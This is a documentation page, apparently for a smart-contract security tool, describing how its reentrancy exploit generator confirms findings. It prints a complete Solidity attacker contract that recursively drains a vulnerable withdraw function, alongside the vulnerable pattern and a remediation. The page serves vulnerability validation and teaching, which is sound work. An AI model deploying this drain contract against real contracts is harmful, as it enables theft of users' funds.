Skip to main content
Sigvex

Reentrancy Exploit Generator

Sigvex exploit generator that validates reentrancy vulnerabilities by simulating recursive drain attacks against withdraw-pattern functions.

Reentrancy Exploit Generator

Overview

The reentrancy exploit generator validates findings from the reentrancy detector by executing the target contract’s bytecode twice under controlled conditions: once with the balance storage slot pre-cleared (simulating the checks-effects-interactions pattern) and once left intact (simulating the vulnerable pattern). The difference in execution outcomes determines exploitability.

Note: Exploit generation in Sigvex is for vulnerability validation purposes only.

Attack Scenario

  1. Setup: The attacker deploys a ReentrancyAttacker contract and deposits ETH into the victim contract to establish a balance in the victim’s internal accounting (storage slot 1).
  2. Trigger: The attacker calls attack(amount) on the attacker contract, which calls the victim’s withdraw(uint256) function (selector 0x2e1a7d4d, or extracted from the finding location).
  3. Exploitation: The victim contract calls msg.sender.call{value: amount}("") to transfer ETH, triggering the attacker’s fallback() or receive() function. Because the victim has not yet decremented the balance in storage, the attacker immediately re-calls withdraw(attackAmount). This loop continues until the victim’s ETH balance is exhausted or the attacker’s gas runs out.
  4. Impact: The attacker drains the entire ETH balance held by the victim. Each re-entrant call withdraws the same amount because the victim’s bookkeeping storage slot was never updated during the attack.

Exploit Mechanics

Sigvex constructs the exploit validation as follows:

  1. Calldata construction: The generator extracts the 4-byte selector from finding.locations[0].bytecode_offset. If no location is available, it falls back to the withdraw(uint256) selector 0x2e1a7d4d.
  2. Parameter encoding: A U256 withdrawal amount of 1_000_000 is ABI-encoded and appended to the calldata.
  3. World state setup: The victim contract receives a balance of 10_000_000 units. Storage slot 1 is set to 1_000_000 (the attacker’s deposited amount), representing the pre-attack state.
  4. Vulnerability check: After execution completes, Sigvex reads storage slot 1. If it still equals 1_000_000, the balance was not updated before the external call — the reentrancy window is open. If it is zero, checks-effects-interactions was followed.
  5. Confidence scoring: A confirmed-vulnerable result carries confidence 0.80; a partial-update result (non-zero but changed) carries 0.50.

The generated PoC is a complete Solidity contract:

pragma solidity ^0.8.0;

interface IVictim {
    function withdraw(uint256 amount) external;
}

contract ReentrancyAttacker {
    IVictim public victim;
    uint256 public attackAmount;

    constructor(address _victim) {
        victim = IVictim(_victim);
    }

    function attack(uint256 amount) external payable {
        attackAmount = amount;
        victim.withdraw(amount);
    }

    fallback() external payable {
        if (address(victim).balance >= attackAmount) {
            victim.withdraw(attackAmount);
        }
    }

    receive() external payable {
        if (address(victim).balance >= attackAmount) {
            victim.withdraw(attackAmount);
        }
    }
}

The generated contract exploits the following canonical vulnerable pattern:

// VULNERABLE: External call before state update
function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount);
    (bool success,) = msg.sender.call{value: amount}(""); // callback here
    balances[msg.sender] -= amount; // never reached during attack
}

Remediation

Apply the checks-effects-interactions pattern or use OpenZeppelin’s ReentrancyGuard:

// SECURE: State updated before external call
function withdraw(uint256 amount) external nonReentrant {
    require(balances[msg.sender] >= amount);
    balances[msg.sender] -= amount; // effect first
    (bool success,) = msg.sender.call{value: amount}("");
    require(success);
}

References

  • SWC-107: Reentrancy
  • The DAO Hack (2016): 3.6M ETH lost to reentrancy — the founding incident that triggered Ethereum’s hard fork